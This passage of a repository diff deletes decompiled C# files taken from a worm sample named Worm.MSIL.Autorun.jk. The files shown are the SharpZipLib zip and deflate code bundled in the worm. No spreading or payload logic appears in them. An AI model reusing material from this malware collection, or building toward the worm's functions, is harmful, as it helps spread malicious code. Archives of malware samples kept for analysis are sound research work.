int[] numArray2 = new int[(int) checked ((uint) unchecked (InflaterHuffmanTree.MAX_BITLEN + 1))];
for (int index = 0; index < codeLengths.Length; ++index)
{
int codeLength = (int) codeLengths[index];
if (codeLength > 0)
++numArray1[codeLength];
}
int num1 = 0;
int length = 512;
for (int index = 1; index <= InflaterHuffmanTree.MAX_BITLEN; ++index)
{
numArray2[index] = num1;
num1 += numArray1[index] << 16 - index;
if (index >= 10)
{
int num2 = numArray2[index] & 130944;
int num3 = num1 & 130944;
length += num3 - num2 >> 16 - index;
}
}
if (num1 != 65536)
throw new Exception("Code lengths don't add up properly.");
this.tree = new short[(int) checked ((uint) length)];
int num4 = 512;
for (int maxBitlen = InflaterHuffmanTree.MAX_BITLEN; maxBitlen >= 10; --maxBitlen)
{
int num5 = num1 & 130944;
num1 -= numArray1[maxBitlen] << 16 - maxBitlen;
for (int index = num1 & 130944; index < num5; index += 128)
{
this.tree[(int) DeflaterHuffman.BitReverse(index)] = (short) (-num4 << 4 | maxBitlen);
num4 += 1 << maxBitlen - 9;
}
}
for (int index1 = 0; index1 < codeLengths.Length; ++index1)
{
int codeLength = (int) codeLengths[index1];
if (codeLength != 0)
{
int num6 = numArray2[codeLength];
int index2 = (int) DeflaterHuffman.BitReverse(num6);
if (codeLength <= 9)
{
do
{
this.tree[index2] = (short) (index1 << 4 | codeLength);
index2 += 1 << codeLength;
}
while (index2 < 512);
}
else
{
int num7 = (int) this.tree[index2 & 511];
int num8 = 1 << (num7 & 15);
int num9 = -(num7 >> 4);
do
{
this.tree[num9 | index2 >> 9] = (short) (index1 << 4 | codeLength);
index2 += 1 << codeLength;
}
while (index2 < num8);
}
numArray2[codeLength] = num6 + (1 << 16 - codeLength);
}
}
}
public int GetSymbol(StreamManipulator input)
{
int index;
if ((index = input.PeekBits(9)) >= 0)
{
int num1;
if ((num1 = (int) this.tree[index]) >= 0)
{
input.DropBits(num1 & 15);
return num1 >> 4;
}
int num2 = -(num1 >> 4);
int n = num1 & 15;
int num3;
if ((num3 = input.PeekBits(n)) >= 0)
{
int num4 = (int) this.tree[num2 | num3 >> 9];
input.DropBits(num4 & 15);
return num4 >> 4;
}
int availableBits = input.AvailableBits;
int num5 = input.PeekBits(availableBits);
int num6 = (int) this.tree[num2 | num5 >> 9];
if ((num6 & 15) > availableBits)
return -1;
input.DropBits(num6 & 15);
return num6 >> 4;
}
int availableBits1 = input.AvailableBits;
int num = (int) this.tree[input.PeekBits(availableBits1)];
if (num < 0 || (num & 15) > availableBits1)
return -1;
input.DropBits(num & 15);
return num >> 4;
}
}
}

116
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/PendingBuffer.cs
View File

@ -1,116 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.PendingBuffer
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression
{
public class PendingBuffer
{
protected byte[] buf;
private int start;
private int end;
private uint bits;
private int bitCount;
public PendingBuffer()
: this(4096)
{
}
public PendingBuffer(int bufsize) => this.buf = new byte[(int) checked ((uint) bufsize)];
public void Reset() => this.start = this.end = this.bitCount = 0;
public void WriteByte(int b) => this.buf[this.end++] = (byte) b;
public void WriteShort(int s)
{
this.buf[this.end++] = (byte) s;
this.buf[this.end++] = (byte) (s >> 8);
}
public void WriteInt(int s)
{
this.buf[this.end++] = (byte) s;
this.buf[this.end++] = (byte) (s >> 8);
this.buf[this.end++] = (byte) (s >> 16);
this.buf[this.end++] = (byte) (s >> 24);
}
public void WriteBlock(byte[] block, int offset, int len)
{
Array.Copy((Array) block, offset, (Array) this.buf, this.end, len);
this.end += len;
}
public int BitCount => this.bitCount;
public void AlignToByte()
{
if (this.bitCount > 0)
{
this.buf[this.end++] = (byte) this.bits;
if (this.bitCount > 8)
this.buf[this.end++] = (byte) (this.bits >> 8);
}
this.bits = 0U;
this.bitCount = 0;
}
public void WriteBits(int b, int count)
{
this.bits |= (uint) (b << this.bitCount);
this.bitCount += count;
if (this.bitCount < 16)
return;
this.buf[this.end++] = (byte) this.bits;
this.buf[this.end++] = (byte) (this.bits >> 8);
this.bits >>= 16;
this.bitCount -= 16;
}
public void WriteShortMSB(int s)
{
this.buf[this.end++] = (byte) (s >> 8);
this.buf[this.end++] = (byte) s;
}
public bool IsFlushed => this.end == 0;
public int Flush(byte[] output, int offset, int length)
{
if (this.bitCount >= 8)
{
this.buf[this.end++] = (byte) this.bits;
this.bits >>= 8;
this.bitCount -= 8;
}
if (length > this.end - this.start)
{
length = this.end - this.start;
Array.Copy((Array) this.buf, this.start, (Array) output, offset, length);
this.start = 0;
this.end = 0;
}
else
{
Array.Copy((Array) this.buf, this.start, (Array) output, offset, length);
this.start += length;
}
return length;
}
public byte[] ToByteArray()
{
byte[] destinationArray = new byte[(int) checked ((uint) unchecked (this.end - this.start))];
Array.Copy((Array) this.buf, this.start, (Array) destinationArray, 0, destinationArray.Length);
this.start = 0;
this.end = 0;
return destinationArray;
}
}
}

111
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/Streams/DeflaterOutputStream.cs
View File

@ -1,111 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.Streams.DeflaterOutputStream
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
using System.IO;
namespace ICSharpCode.SharpZipLib.Zip.Compression.Streams
{
public class DeflaterOutputStream : Stream
{
protected byte[] buf;
protected Deflater def;
protected Stream baseOutputStream;
public override bool CanRead => this.baseOutputStream.CanRead;
public override bool CanSeek => this.baseOutputStream.CanSeek;
public override bool CanWrite => this.baseOutputStream.CanWrite;
public override long Length => this.baseOutputStream.Length;
public override long Position
{
get => this.baseOutputStream.Position;
set => this.baseOutputStream.Position = value;
}
public override long Seek(long offset, SeekOrigin origin) => this.baseOutputStream.Seek(offset, origin);
public override void SetLength(long val) => this.baseOutputStream.SetLength(val);
public override int ReadByte() => this.baseOutputStream.ReadByte();
public override int Read(byte[] b, int off, int len) => this.baseOutputStream.Read(b, off, len);
protected void deflate()
{
while (!this.def.IsNeedingInput)
{
int count = this.def.Deflate(this.buf, 0, this.buf.Length);
if (count > 0)
this.baseOutputStream.Write(this.buf, 0, count);
else
break;
}
if (!this.def.IsNeedingInput)
throw new ApplicationException("Can't deflate all input?");
}
public DeflaterOutputStream(Stream baseOutputStream)
: this(baseOutputStream, new Deflater(), 512)
{
}
public DeflaterOutputStream(Stream baseOutputStream, Deflater defl)
: this(baseOutputStream, defl, 512)
{
}
public DeflaterOutputStream(Stream baseOutputStream, Deflater defl, int bufsize)
{
this.baseOutputStream = baseOutputStream;
this.buf = bufsize > 0 ? new byte[(int) checked ((uint) bufsize)] : throw new InvalidOperationException("bufsize <= 0");
this.def = defl;
}
public override void Flush()
{
this.def.Flush();
this.deflate();
this.baseOutputStream.Flush();
}
public virtual void Finish()
{
this.def.Finish();
while (!this.def.IsFinished)
{
int count = this.def.Deflate(this.buf, 0, this.buf.Length);
if (count > 0)
this.baseOutputStream.Write(this.buf, 0, count);
else
break;
}
if (!this.def.IsFinished)
throw new ApplicationException("Can't deflate all input?");
this.baseOutputStream.Flush();
}
public override void Close()
{
this.Finish();
this.baseOutputStream.Close();
}
public override void WriteByte(byte bval) => this.Write(new byte[1]
{
bval
}, 0, 1);
public override void Write(byte[] buf, int off, int len)
{
this.def.SetInput(buf, off, len);
this.deflate();
}
}
}

180
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/Streams/InflaterInputStream.cs
View File

@ -1,180 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.Streams.InflaterInputStream
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Checksums;
using System;
using System.IO;
namespace ICSharpCode.SharpZipLib.Zip.Compression.Streams
{
public class InflaterInputStream : Stream
{
protected Inflater inf;
protected byte[] buf;
protected int len;
private byte[] onebytebuffer = new byte[1];
protected Stream baseInputStream;
protected byte[] cryptbuffer = (byte[]) null;
private uint[] keys = (uint[]) null;
public override bool CanRead => this.baseInputStream.CanRead;
public override bool CanSeek => this.baseInputStream.CanSeek;
public override bool CanWrite => this.baseInputStream.CanWrite;
public override long Length => (long) this.len;
public override long Position
{
get => this.baseInputStream.Position;
set => this.baseInputStream.Position = value;
}
public override void Flush() => this.baseInputStream.Flush();
public override long Seek(long offset, SeekOrigin origin) => this.baseInputStream.Seek(offset, origin);
public override void SetLength(long val) => this.baseInputStream.SetLength(val);
public override void Write(byte[] array, int offset, int count) => this.baseInputStream.Write(array, offset, count);
public override void WriteByte(byte val) => this.baseInputStream.WriteByte(val);
public InflaterInputStream(Stream baseInputStream)
: this(baseInputStream, new Inflater(), 4096)
{
}
public InflaterInputStream(Stream baseInputStream, Inflater inf)
: this(baseInputStream, inf, 4096)
{
}
public InflaterInputStream(Stream baseInputStream, Inflater inf, int size)
{
this.baseInputStream = baseInputStream;
this.inf = inf;
try
{
this.len = (int) baseInputStream.Length;
}
catch (Exception ex)
{
this.len = 0;
}
this.buf = size > 0 ? new byte[(int) checked ((uint) size)] : throw new ArgumentOutOfRangeException("size <= 0");
}
public virtual int Available => this.inf.IsFinished ? 0 : 1;
public override void Close() => this.baseInputStream.Close();
protected void Fill()
{
this.len = this.baseInputStream.Read(this.buf, 0, this.buf.Length);
if (this.cryptbuffer != null)
this.DecryptBlock(this.buf, 0, this.buf.Length);
if (this.len <= 0)
throw new ApplicationException("Deflated stream ends early.");
this.inf.SetInput(this.buf, 0, this.len);
}
public override int ReadByte() => this.Read(this.onebytebuffer, 0, 1) > 0 ? (int) this.onebytebuffer[0] & (int) byte.MaxValue : -1;
public override int Read(byte[] b, int off, int len)
{
int num;
while (true)
{
try
{
num = this.inf.Inflate(b, off, len);
}
catch (Exception ex)
{
throw new ZipException(ex.ToString());
}
if (num <= 0)
{
if (!this.inf.IsNeedingDictionary)
{
if (!this.inf.IsFinished)
{
if (this.inf.IsNeedingInput)
this.Fill();
else
goto label_11;
}
else
goto label_8;
}
else
goto label_6;
}
else
break;
}
return num;
label_6:
throw new ZipException("Need a dictionary");
label_8:
return 0;
label_11:
throw new InvalidOperationException("Don't know what to do");
}
public long Skip(long n)
{
if (n < 0L)
throw new ArgumentOutOfRangeException(nameof (n));
int length = 2048;
if (n < (long) length)
length = (int) n;
byte[] buffer = new byte[(int) checked ((uint) length)];
return (long) this.baseInputStream.Read(buffer, 0, buffer.Length);
}
protected byte DecryptByte()
{
uint num = (uint) ((int) this.keys[2] & (int) ushort.MaxValue | 2);
return (byte) (num * (num ^ 1U) >> 8);
}
protected void DecryptBlock(byte[] buf, int off, int len)
{
for (int index1 = off; index1 < off + len; ++index1)
{
byte[] numArray;
IntPtr index2;
(numArray = buf)[(int) (index2 = (IntPtr) index1)] = (byte) ((uint) numArray[index2] ^ (uint) this.DecryptByte());
this.UpdateKeys(buf[index1]);
}
}
protected void InitializePassword(string password)
{
this.keys = new uint[3]
{
305419896U,
591751049U,
878082192U
};
for (int index = 0; index < password.Length; ++index)
this.UpdateKeys((byte) password[index]);
}
private uint ComputeCrc32(uint oldCrc, byte bval) => Crc32.CrcTable[(IntPtr) (uint) (((int) oldCrc ^ (int) bval) & (int) byte.MaxValue)] ^ oldCrc >> 8;
protected void UpdateKeys(byte ch)
{
this.keys[0] = this.ComputeCrc32(this.keys[0], ch);
this.keys[1] = this.keys[1] + (uint) (byte) this.keys[0];
this.keys[1] = (uint) ((int) this.keys[1] * 134775813 + 1);
this.keys[2] = this.ComputeCrc32(this.keys[2], (byte) (this.keys[1] >> 24));
}
}
}

119
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/Streams/OutputWindow.cs
View File

@ -1,119 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.Streams.OutputWindow
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression.Streams
{
public class OutputWindow
{
private static int WINDOW_SIZE = 32768;
private static int WINDOW_MASK = OutputWindow.WINDOW_SIZE - 1;
private byte[] window = new byte[(int) checked ((uint) OutputWindow.WINDOW_SIZE)];
private int window_end = 0;
private int window_filled = 0;
public void Write(int abyte)
{
if (this.window_filled++ == OutputWindow.WINDOW_SIZE)
throw new InvalidOperationException("Window full");
this.window[this.window_end++] = (byte) abyte;
this.window_end &= OutputWindow.WINDOW_MASK;
}
private void SlowRepeat(int rep_start, int len, int dist)
{
while (len-- > 0)
{
this.window[this.window_end++] = this.window[rep_start++];
this.window_end &= OutputWindow.WINDOW_MASK;
rep_start &= OutputWindow.WINDOW_MASK;
}
}
public void Repeat(int len, int dist)
{
if ((this.window_filled += len) > OutputWindow.WINDOW_SIZE)
throw new InvalidOperationException("Window full");
int num1 = this.window_end - dist & OutputWindow.WINDOW_MASK;
int num2 = OutputWindow.WINDOW_SIZE - len;
if (num1 <= num2 && this.window_end < num2)
{
if (len <= dist)
{
Array.Copy((Array) this.window, num1, (Array) this.window, this.window_end, len);
this.window_end += len;
}
else
{
while (len-- > 0)
this.window[this.window_end++] = this.window[num1++];
}
}
else
this.SlowRepeat(num1, len, dist);
}
public int CopyStored(StreamManipulator input, int len)
{
len = Math.Min(Math.Min(len, OutputWindow.WINDOW_SIZE - this.window_filled), input.AvailableBytes);
int length = OutputWindow.WINDOW_SIZE - this.window_end;
int num;
if (len > length)
{
num = input.CopyBytes(this.window, this.window_end, length);
if (num == length)
num += input.CopyBytes(this.window, 0, len - length);
}
else
num = input.CopyBytes(this.window, this.window_end, len);
this.window_end = this.window_end + num & OutputWindow.WINDOW_MASK;
this.window_filled += num;
return num;
}
public void CopyDict(byte[] dict, int offset, int len)
{
if (this.window_filled > 0)
throw new InvalidOperationException();
if (len > OutputWindow.WINDOW_SIZE)
{
offset += len - OutputWindow.WINDOW_SIZE;
len = OutputWindow.WINDOW_SIZE;
}
Array.Copy((Array) dict, offset, (Array) this.window, 0, len);
this.window_end = len & OutputWindow.WINDOW_MASK;
}
public int GetFreeSpace() => OutputWindow.WINDOW_SIZE - this.window_filled;
public int GetAvailable() => this.window_filled;
public int CopyOutput(byte[] output, int offset, int len)
{
int num1 = this.window_end;
if (len > this.window_filled)
len = this.window_filled;
else
num1 = this.window_end - this.window_filled + len & OutputWindow.WINDOW_MASK;
int num2 = len;
int length = len - num1;
if (length > 0)
{
Array.Copy((Array) this.window, OutputWindow.WINDOW_SIZE - length, (Array) output, offset, length);
offset += length;
len = num1;
}
Array.Copy((Array) this.window, num1 - len, (Array) output, offset, len);
this.window_filled -= num2;
if (this.window_filled < 0)
throw new InvalidOperationException();
return num2;
}
public void Reset() => this.window_filled = this.window_end = 0;
}
}

106
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/Compression/Streams/StreamManipulator.cs
View File

@ -1,106 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.Compression.Streams.StreamManipulator
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip.Compression.Streams
{
public class StreamManipulator
{
private byte[] window;
private int window_start = 0;
private int window_end = 0;
private uint buffer = 0;
private int bits_in_buffer = 0;
public int PeekBits(int n)
{
if (this.bits_in_buffer < n)
{
if (this.window_start == this.window_end)
return -1;
this.buffer |= (uint) (((int) this.window[this.window_start++] & (int) byte.MaxValue | ((int) this.window[this.window_start++] & (int) byte.MaxValue) << 8) << this.bits_in_buffer);
this.bits_in_buffer += 16;
}
return (int) ((long) this.buffer & (long) ((1 << n) - 1));
}
public void DropBits(int n)
{
this.buffer >>= n;
this.bits_in_buffer -= n;
}
public int GetBits(int n)
{
int bits = this.PeekBits(n);
if (bits >= 0)
this.DropBits(n);
return bits;
}
public int AvailableBits => this.bits_in_buffer;
public int AvailableBytes => this.window_end - this.window_start + (this.bits_in_buffer >> 3);
public void SkipToByteBoundary()
{
this.buffer >>= this.bits_in_buffer & 7;
this.bits_in_buffer &= -8;
}
public bool IsNeedingInput => this.window_start == this.window_end;
public int CopyBytes(byte[] output, int offset, int length)
{
if (length < 0)
throw new ArgumentOutOfRangeException("length negative");
if ((this.bits_in_buffer & 7) != 0)
throw new InvalidOperationException("Bit buffer is not aligned!");
int num1 = 0;
while (this.bits_in_buffer > 0 && length > 0)
{
output[offset++] = (byte) this.buffer;
this.buffer >>= 8;
this.bits_in_buffer -= 8;
--length;
++num1;
}
if (length == 0)
return num1;
int num2 = this.window_end - this.window_start;
if (length > num2)
length = num2;
Array.Copy((Array) this.window, this.window_start, (Array) output, offset, length);
this.window_start += length;
if ((this.window_start - this.window_end & 1) != 0)
{
this.buffer = (uint) this.window[this.window_start++] & (uint) byte.MaxValue;
this.bits_in_buffer = 8;
}
return num1 + length;
}
public void Reset() => this.buffer = (uint) (this.window_start = this.window_end = this.bits_in_buffer = 0);
public void SetInput(byte[] buf, int off, int len)
{
if (this.window_start < this.window_end)
throw new InvalidOperationException("Old input was not completely processed");
int num = off + len;
if (0 > off || off > num || num > buf.Length)
throw new ArgumentOutOfRangeException();
if ((len & 1) != 0)
{
this.buffer |= (uint) (((int) buf[off++] & (int) byte.MaxValue) << this.bits_in_buffer);
this.bits_in_buffer += 8;
}
this.window = buf;
this.window_start = off;
this.window_end = num;
}
}
}

14
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/CompressionMethod.cs
View File

@ -1,14 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.CompressionMethod
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
namespace ICSharpCode.SharpZipLib.Zip
{
public enum CompressionMethod
{
Stored = 0,
Deflated = 8,
}
}

61
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/ZipConstants.cs
View File

@ -1,61 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.ZipConstants
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System.Text;
namespace ICSharpCode.SharpZipLib.Zip
{
public sealed class ZipConstants
{
public const int LOCHDR = 30;
public const int LOCSIG = 67324752;
public const int LOCVER = 4;
public const int LOCFLG = 6;
public const int LOCHOW = 8;
public const int LOCTIM = 10;
public const int LOCCRC = 14;
public const int LOCSIZ = 18;
public const int LOCLEN = 22;
public const int LOCNAM = 26;
public const int LOCEXT = 28;
public const int EXTSIG = 134695760;
public const int EXTHDR = 16;
public const int EXTCRC = 4;
public const int EXTSIZ = 8;
public const int EXTLEN = 12;
public const int CENSIG = 33639248;
public const int CENSIG64 = 101075792;
public const int CENHDR = 46;
public const int CENVEM = 4;
public const int CENVER = 6;
public const int CENFLG = 8;
public const int CENHOW = 10;
public const int CENTIM = 12;
public const int CENCRC = 16;
public const int CENSIZ = 20;
public const int CENLEN = 24;
public const int CENNAM = 28;
public const int CENEXT = 30;
public const int CENCOM = 32;
public const int CENDSK = 34;
public const int CENATT = 36;
public const int CENATX = 38;
public const int CENOFF = 42;
public const int ENDSIG = 101010256;
public const int ENDHDR = 22;
public const int ENDNRD = 4;
public const int ENDDCD = 6;
public const int ENDSUB = 8;
public const int ENDTOT = 10;
public const int ENDSIZ = 12;
public const int ENDOFF = 16;
public const int ENDCOM = 20;
public static string ConvertToString(byte[] data) => Encoding.ASCII.GetString(data, 0, data.Length);
public static byte[] ConvertToArray(string str) => Encoding.ASCII.GetBytes(str);
}
}

188
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/ZipEntry.cs
View File

@ -1,188 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.ZipEntry
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using System;
namespace ICSharpCode.SharpZipLib.Zip
{
public class ZipEntry : ICloneable
{
private static int KNOWN_SIZE = 1;
private static int KNOWN_CSIZE = 2;
private static int KNOWN_CRC = 4;
private static int KNOWN_TIME = 8;
private string name;
private uint size;
private ushort version;
private uint compressedSize;
private uint crc;
private uint dosTime;
private ushort known = 0;
private CompressionMethod method = CompressionMethod.Deflated;
private byte[] extra = (byte[]) null;
private string comment = (string) null;
private bool isCrypted;
public int zipFileIndex = -1;
public int flags;
public int offset;
public ZipEntry(string name)
{
if (name == null)
throw new ArgumentNullException(nameof (name));
this.DateTime = DateTime.Now;
this.name = name;
}
public ZipEntry(ZipEntry e)
{
this.name = e.name;
this.known = e.known;
this.size = e.size;
this.compressedSize = e.compressedSize;
this.crc = e.crc;
this.dosTime = e.dosTime;
this.method = e.method;
this.extra = e.extra;
this.comment = e.comment;
}
public ushort Version
{
get => this.version;
set => this.version = value;
}
public uint DosTime
{
get => ((int) this.known & ZipEntry.KNOWN_TIME) == 0 ? 0U : this.dosTime;
set
{
this.dosTime = value;
this.known |= (ushort) ZipEntry.KNOWN_TIME;
}
}
public DateTime DateTime
{
get => new DateTime(((int) (this.dosTime >> 25) & (int) sbyte.MaxValue) + 1980, (int) (this.dosTime >> 21 & 15U), (int) (this.dosTime >> 16 & 31U), (int) (this.dosTime >> 11 & 31U), (int) (this.dosTime >> 5 & 63U), 2 * ((int) this.dosTime & 31));
set => this.DosTime = (uint) ((value.Year - 1980 & (int) sbyte.MaxValue) << 25 | value.Month << 21 | value.Day << 16 | value.Hour << 11 | value.Minute << 5) | (uint) value.Second >> 1;
}
public string Name => this.name;
public long Size
{
get => ((int) this.known & ZipEntry.KNOWN_SIZE) != 0 ? (long) this.size : -1L;
set
{
this.size = (value & -4294967296L) == 0L ? (uint) value : throw new ArgumentOutOfRangeException("size");
this.known |= (ushort) ZipEntry.KNOWN_SIZE;
}
}
public long CompressedSize
{
get => ((int) this.known & ZipEntry.KNOWN_CSIZE) != 0 ? (long) this.compressedSize : -1L;
set
{
this.compressedSize = (value & -4294967296L) == 0L ? (uint) value : throw new ArgumentOutOfRangeException();
this.known |= (ushort) ZipEntry.KNOWN_CSIZE;
}
}
public long Crc
{
get => ((int) this.known & ZipEntry.KNOWN_CRC) != 0 ? (long) this.crc & (long) uint.MaxValue : -1L;
set
{
this.crc = ((long) this.crc & -4294967296L) == 0L ? (uint) value : throw new Exception();
this.known |= (ushort) ZipEntry.KNOWN_CRC;
}
}
public CompressionMethod CompressionMethod
{
get => this.method;
set => this.method = value;
}
public byte[] ExtraData
{
get => this.extra;
set
{
if (value == null)
{
this.extra = (byte[]) null;
}
else
{
this.extra = value.Length <= (int) ushort.MaxValue ? value : throw new ArgumentOutOfRangeException();
try
{
int index1;
int num1;
for (int index2 = 0; index2 < this.extra.Length; index2 = index1 + num1)
{
byte[] extra1 = this.extra;
int index3 = index2;
int num2 = index3 + 1;
int num3 = (int) extra1[index3] & (int) byte.MaxValue;
byte[] extra2 = this.extra;
int index4 = num2;
int num4 = index4 + 1;
int num5 = ((int) extra2[index4] & (int) byte.MaxValue) << 8;
int num6 = num3 | num5;
byte[] extra3 = this.extra;
int index5 = num4;
int num7 = index5 + 1;
int num8 = (int) extra3[index5] & (int) byte.MaxValue;
byte[] extra4 = this.extra;
int index6 = num7;
index1 = index6 + 1;
int num9 = ((int) extra4[index6] & (int) byte.MaxValue) << 8;
num1 = num8 | num9;
if (num6 == 21589 && ((int) this.extra[index1] & 1) != 0)
{
this.DateTime = (new DateTime(1970, 1, 1, 0, 0, 0) + new TimeSpan(0, 0, 0, (int) this.extra[index1 + 1] & (int) byte.MaxValue | ((int) this.extra[index1 + 2] & (int) byte.MaxValue) << 8 | ((int) this.extra[index1 + 3] & (int) byte.MaxValue) << 16 | ((int) this.extra[index1 + 4] & (int) byte.MaxValue) << 24, 0)).ToLocalTime();
this.known |= (ushort) ZipEntry.KNOWN_TIME;
}
}
}
catch (Exception ex)
{
}
}
}
}
public string Comment
{
get => this.comment;
set => this.comment = value.Length <= (int) ushort.MaxValue ? value : throw new ArgumentOutOfRangeException();
}
public bool IsDirectory
{
get
{
int length = this.name.Length;
return length > 0 && this.name[length - 1] == '/';
}
}
public bool IsCrypted
{
get => this.isCrypted;
set => this.isCrypted = value;
}
public object Clone() => this.MemberwiseClone();
public override string ToString() => this.name;
}
}

294
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532/Zip/ZipFile.cs
View File

@ -1,294 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ICSharpCode.SharpZipLib.Zip.ZipFile
// Assembly: Done, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EBE6DCED-6866-44D2-B309-A0C25849858B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.jk-5bcc93e5d4639a5f95eb9ff6188099454019b185da8721fd79d0305ee3797532.exe
using ICSharpCode.SharpZipLib.Zip.Compression;
using ICSharpCode.SharpZipLib.Zip.Compression.Streams;
using System;
using System.Collections;
using System.IO;
namespace ICSharpCode.SharpZipLib.Zip
{
public class ZipFile : IEnumerable
{
private string name;
private string comment;
private Stream baseStream;
private ZipEntry[] entries;
public ZipFile(string name)
: this(File.OpenRead(name))
{
}
public ZipFile(FileStream file)
{
this.baseStream = (Stream) file;
this.name = file.Name;
this.ReadEntries();
}
public ZipFile(Stream baseStream)
{
this.baseStream = baseStream;
this.name = (string) null;
this.ReadEntries();
}
private int ReadLeShort() => this.baseStream.ReadByte() | this.baseStream.ReadByte() << 8;
private int ReadLeInt() => this.ReadLeShort() | this.ReadLeShort() << 16;
private void ReadEntries()
{
long num1 = this.baseStream.Length - 22L;
while (num1 >= 0L)
{
this.baseStream.Seek(num1--, SeekOrigin.Begin);
if (this.ReadLeInt() == 101010256)
{
long position1 = this.baseStream.Position;
this.baseStream.Position += 6L;
if (this.baseStream.Position - position1 != 6L)
throw new EndOfStreamException();
int length = this.ReadLeShort();
long position2 = this.baseStream.Position;
this.baseStream.Position += 4L;
if (this.baseStream.Position - position2 != 4L)
throw new EndOfStreamException();
int offset = this.ReadLeInt();
byte[] numArray1 = new byte[(int) checked ((uint) this.ReadLeShort())];
this.baseStream.Read(numArray1, 0, numArray1.Length);
this.comment = ZipConstants.ConvertToString(numArray1);
this.entries = new ZipEntry[(int) checked ((uint) length)];
this.baseStream.Seek((long) offset, SeekOrigin.Begin);
for (int index = 0; index < length; ++index)
{
if (this.ReadLeInt() != 33639248)
throw new ZipException("Wrong Central Directory signature");
long position3 = this.baseStream.Position;
this.baseStream.Position += 6L;
if (this.baseStream.Position - position3 != 6L)
throw new EndOfStreamException();
int num2 = this.ReadLeShort();
int num3 = this.ReadLeInt();
int num4 = this.ReadLeInt();
int num5 = this.ReadLeInt();
int num6 = this.ReadLeInt();
